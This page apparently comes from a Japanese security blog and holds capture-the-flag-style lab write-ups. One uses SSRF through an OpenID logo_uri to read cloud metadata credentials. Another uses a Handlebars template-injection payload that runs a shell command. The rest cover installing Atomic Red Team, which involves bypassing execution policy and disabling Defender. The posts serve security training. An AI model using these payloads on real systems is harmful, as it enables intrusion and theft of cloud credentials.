Shikata Ga Nai

Private? There is no such things.

SSRF via OpenID dynamic client registrationをやってみた

Hello there, ('ω')ノ

 

OpenID動的クライアント登録によるSSRFを。

 

このラボは、クライアントアプリケーションが専用の登録エンドポイントを介して。

OAuthサービスに動的に登録できて。

一部のクライアント固有のデータは。

SSRFの潜在的なベクトルを公開するOAuthサービスによって。

安全でない方法で使用されて。

下記へアクセスして、クラウド環境のシークレットアクセスキーを盗むらしく。

 http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

 

まずは、ログインして。

 

f:id:ThisIsOne:20210527162802p:plain

 

f:id:ThisIsOne:20210527162825p:plain

 

f:id:ThisIsOne:20210527163159p:plain

 

リクエストが送信される先のホストをコピーして。

 

f:id:ThisIsOne:20210527163248p:plain

 

下記の構成ファイルにアクセスすると。

クライアントを登録するエンドポイントが確認できて。

 https://ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net/.well-known/openid-configuration

 

f:id:ThisIsOne:20210527163615p:plain

 

適切に偽のコールバックを含むOAuthサービスに登録するリクエストをSendすると。

 

POST /reg HTTP/1.1
Host: ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net
Content-Type: application/json
Content-Length: 60

{
"redirect_uris" : [
"https://example.com"
]
}

 

f:id:ThisIsOne:20210527164221p:plain

 

新しいクライアントIDが確認できて。

つまり、認証なしでオリジナルのクライアントアプリケーションが。

正常に登録されたというわけで。

 

f:id:ThisIsOne:20210527164633p:plain

 

また、logoへのリクエストは。

OAuthフローを監査してOpenID仕様から要求された承認ページには。

ロゴが表示されるので。

このリクエストをリピータへ送ってスタンバイしておいて。

 

f:id:ThisIsOne:20210527165306p:plain

 

 

 

まずは、コラボレータでペイロードをコピーして。

 

f:id:ThisIsOne:20210527164814p:plain

 

さきほどのリクエストに追加して、Sendすると。

 

POST /reg HTTP/1.1
Host: ac561fa11fdbb3e380c9060c026300ca.web-security-academy.net
Content-Type: application/json
Content-Length: 137

{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "https://moetbyr448y8qo92wkyrbff2gtmja8.burpcollaborator.net"
}

 

新しく下記のIDが取得できたので。

 "client_id":"29E044XL3y98E57wX7LgF"

 

f:id:ThisIsOne:20210527164912p:plain

 

スタンバイしていたlogoへのリクエストのクライアントIDを交換してSendすると。

 

f:id:ThisIsOne:20210527165400p:plain

 

コラボレータで新しいインタラクションが確認できて。

これで、logo_uriプロパティでOAuthサーバからのリクエストを。

引き出すことができることがわかったので。

 

f:id:ThisIsOne:20210527182154p:plain

 

コラボレータから下記のターゲットURLにlogo_uriを変更してSendすると。

 http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/

 

下記のクライアントIDが取得できて。

 "client_id":"GqzNfkHQEk1DK8_p_OTF5"

 

f:id:ThisIsOne:20210527165950p:plain

 

さきほどのようにlogoへのリクエストのクライアントIDを交換してSendすると。

レスポンスには、OAuthプロバイダのクラウド環境のメタデータが。

その中のシークレットアクセスキーをコピーして。

 

f:id:ThisIsOne:20210527170105p:plain

 

下記を入力すると。

 wael7cVEEdkkW6QYayHNILKRdqQOeBbVuTJYCwce

 

f:id:ThisIsOne:20210527170156p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210527170214p:plain

 

Best regards, (^^ゞ

Atomic Testsをリストしてみた

Hello there, ('ω')ノ

 

フレームワークを使用して、実行可能なテストを確認をするには。

PowerShellプロンプトに下記のように入力すると。

特定のテクニック番号(別名T#)に関連付けられたテスト名と番号を確認できて。

 

 Invoke-AtomicTest T1003.001 -ShowDetailsBrief

 

f:id:ThisIsOne:20210525171938p:plain

 

テストの具体的な詳細を見るには。

「ShowDetailsBrief」フラグを「ShowDetails」に変更して。

 

 Invoke-AtomicTest T1003 -ShowDetails

 

f:id:ThisIsOne:20210525171523p:plain

 

1つのテストの詳細だけを取得するには。

「TestNumbers」フラグを使用して、テスト番号1を指定できて。

 

 Invoke-AtomicTest T1003.001 -TestNumbers 10 -ShowDetails

 

f:id:ThisIsOne:20210525171854p:plain

 

テストの説明に加えて、このテストのExecutorは「powershell」で。

PowerShellプロンプトから実行する必要があって。

昇格された特権(ElevationRequired:True)で実行する必要があることがわかって。

 

f:id:ThisIsOne:20210526175024p:plain

 

他には「TestNames」フラグを使用して、名前でテストを指定することも。

 

 Invoke-AtomicTest T1003.001 -TestName "Powershell Mimikatz" -ShowDetails

 

f:id:ThisIsOne:20210525172236p:plain

 

また、複数のテスト番号または名前をコンマ区切りのリストとして指定することも。

 Invoke-AtomicTest T1003.001 -TestNumbers 1,3 -ShowDetails

 

さらには、「All」を使用して、それらすべてをリストすることも。

 Invoke-AtomicTest All -ShowDetailsBrief

 

f:id:ThisIsOne:20210526173149p:plain

 

Best regards, (^^ゞ

Server-side template injection in an unknown language with a documented exploitをやってみた

Hello there, ('ω')ノ

 

文書化されたエクスプロイトで未知の言語で。

サーバサイドテンプレートインジェクションを。

 

ラボを解決するには、テンプレートエンジンを特定して。

任意のコードの実行に使用できるエクスプロイトをオンラインで見つけて。

 

製品の詳細をクリックすると下記のメッセージが。

 

f:id:ThisIsOne:20210526135440p:plain

 

下記のファズ文字列をメッセージパラメータに挿入すると。

Webサイトがnode_modulesのhandlebarsのエラーが。

 

 ${{<%[%'"}}%\

 ⇩

 https://acaa1f641f2f31f480a00ae900cb0019.web-security-academy.net/?message=${{%3C%[%%27%22}}%\

 

f:id:ThisIsOne:20210526135834p:plain

 

Webで、handlebarsのtemplate injectionを検索すると下記のサイトで。

エクスプロイトを見つけることができて。

その一部を変更して、ファイルを削除することに。

 

 http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html


wrtz{{#with "s" as |string|}}
 {{#with "e"}}
  {{#with split as |conslist|}}
   {{this.pop}}
   {{this.push (lookup string.sub "constructor")}}
   {{this.pop}}
   {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
    {{this.pop}}
    {{#each conslist}}
     {{#with (string.sub.apply 0 codelist)}}
      {{this}}
     {{/with}}
    {{/each}}
   {{/with}}
  {{/with}}
 {{/with}}
{{/with}}

 

f:id:ThisIsOne:20210526140623p:plain

 

上記のエクスプロイトコードをURLエンコードして。

 

f:id:ThisIsOne:20210526142504p:plain


下記のパラメータを追加するとクリアできた。

 

https://ac001f1f1f20a2a280e81bf6004c003b.web-security-academy.net/?message=%77%72%74%7a%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

 

f:id:ThisIsOne:20210526142530p:plain

 

Best regards, (^^ゞ

Atomic Red Team Moduleをインポートしてみた

Hello there, ('ω')ノ

 

前回は、ExecutionFrameworkをインストールしたので。

Atomic Red Teamモジュールをインポートして。

「Invoke-AtomicTest」などの機能を使用できるようにすることで。

必要なモジュールは、既にインポートされているので。

Invoke-AtomicTest関数を呼び出すと認識されるはずで。

 

まずは、PowerShellウィンドウを開いて、「Invoke-AtomicTest」と入力すると。

PowerShellは、コマンドを認識しないらしく。

 

新しいPowerShellセッションに。

AtomicRed Teamモジュールがロードされていないためで。

Invoke-AtomicTest関数は認識されず。

モジュールを実行する場合は、PowerShellに再度インポートする必要があって。

次のコマンドを実行して、モジュールをインポートして。

 

 Import-Module "C:\ AtomicRedTeam \ invoke-atomicredteam \ Invoke-AtomicRedTeam.psd1" -Force

 

f:id:ThisIsOne:20210525165406p:plain


これで、Invoke-AtomicTestコマンドを再び使用できるようになって。

ただ、毎回インポートを実行する必要があるのが面倒だったりもするので。

新しいPowerShellセッションを開始した後でも。

フレームワークを常に使用できるようにするために。

PowerShellプロファイルにimportコマンドを追加することに。

まずは、ノートパッドを起動して。

 

 notepad $profile

 

f:id:ThisIsOne:20210525170009p:plain

 

下記のImport-Moduleステートメントを追加して、ファイルを保存して。

 

 Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force

 

f:id:ThisIsOne:20210525170043p:plain

 

これで、PowerShellウィンドウを閉じて再起動しても。

フレームワークモジュールがインポートされて使用できるようになって。

ようやく、フレームワークを使用してAtomicTestを実行する環境ができて。

 Invoke-AtomicTest

 

f:id:ThisIsOne:20210525170252p:plain

 

Best regards, (^^ゞ

Atomic Red Teamをインストールしてみた

Hello there, ('ω')ノ

 

MITREサイトでは、攻撃の情報を検出できたりと。

情報を掘り下げていくとアトミックレッドチームにたどり着いて。

アトミックレッドチームとは、攻撃者が実際に行うことを模倣した。

小さなスクリプトのリポジトリで。

アトミックレッドチームを使用すると、自分のネットワークで。

これらのシミュレートされた攻撃を実行できて。

検出できるかどうか、ブロックできるかどうかを確認できて。

 

MITRE ATT&CKは、戦術と技術を列挙するものの。

これらの戦術と技術のために使用する手順は列挙せず。

そこで、アトミックレッドチームが活躍するわけで。

 

f:id:ThisIsOne:20210525143358p:plain

 

アトミックレッドチームのリポジトリを見ると、そこに多くの情報があって。

ります。このアトミックフォルダを見ていくことに。 

 https://github.com/redcanaryco/atomic-red-team

 

f:id:ThisIsOne:20210525144346p:plain

 

アトミックフォルダを開くと。

MITRE ATT&CKフレームワークと同じT番号付きフォルダが。

 

f:id:ThisIsOne:20210525144655p:plain

 

T番号付きフォルダには、少なくとも1つのmdファイルとyamlファイルがあって。

 

f:id:ThisIsOne:20210525145106p:plain

 

yamlファイルを見て、難しいようであれば。

 

f:id:ThisIsOne:20210525145652p:plain

 

yamlファイルよりマークダウンを読むほうが簡単で。 

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1016/T1016.md

 

f:id:ThisIsOne:20210525145406p:plain

 

アトミックフォルダにもどって。

 https://github.com/redcanaryco/atomic-red-team

 

f:id:ThisIsOne:20210525150519p:plain

 

ページ下には、アトミックレッドチーム入門について。

 

f:id:ThisIsOne:20210525154442p:plain

 

アトミックテストの実施については、下記のサイトを。

https://github.com/redcanaryco/atomic-red-team/wiki/Executing-Atomic-Tests#execute-an-atomic-test-with-an-execution-framework

 

f:id:ThisIsOne:20210525154532p:plain

 

ちなみにinvoke-atomicredteamの実行フレームワークは、別のリポジトリにあって。

 https://github.com/redcanaryco/invoke-atomicredteam

 

f:id:ThisIsOne:20210525154344p:plain

 

下記のwikiにアクセスして、Installationをクリックして。

 https://github.com/redcanaryco/invoke-atomicredteam/wiki

 

f:id:ThisIsOne:20210525161211p:plain

 

下記には、インストールするための手順がいくつかあって。

PowerShellで、この2行をコピーして貼り付けることに。

 

https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Atomic-Red-Team

f:id:ThisIsOne:20210525161327p:plain

 

このWebリクエストは、アトミックレッドチームをインストールするための。

情報を取得して。

すると、このシステムでは実行中のスクリプトが無効になっているため。

このファイルをロードできないと表示されて。

 

 Install-AtomicRedTeam

 

f:id:ThisIsOne:20210525162238p:plain

 

下記のサイトを参考に。

 

f:id:ThisIsOne:20210525162204p:plain

 

デフォルトでスクリプトを実行したいpowershellはスクリプトを実行したくなくて。

実行ポリシーを設定して、バイパスすることに。

 

 Set-ExecutionPolicy Bypass -Scope CurrentUser

 

f:id:ThisIsOne:20210525162657p:plain

 

アトミックレッドチームを再度実行、またはインストールしたいものの。

すでにインストールしているので、強制的に実行することに。

今回はエラーが発生せず。

 

 Install-AtomicRedTeam -Force

 

f:id:ThisIsOne:20210525162913p:plain

 

 Install-AtomicRedTeam -getatomics -force

 

f:id:ThisIsOne:20210525164439p:plain

 

インストールしているとWindows Defenderの警告がでるので。

下記の設定をオフにして。

 

f:id:ThisIsOne:20210525164417p:plain

 

最後に正常にインストールされているかフォルダを確認して。

 C:\AtomicRedTeam\atomics

 

f:id:ThisIsOne:20210525164649p:plain

 

 Best regards, (^^ゞ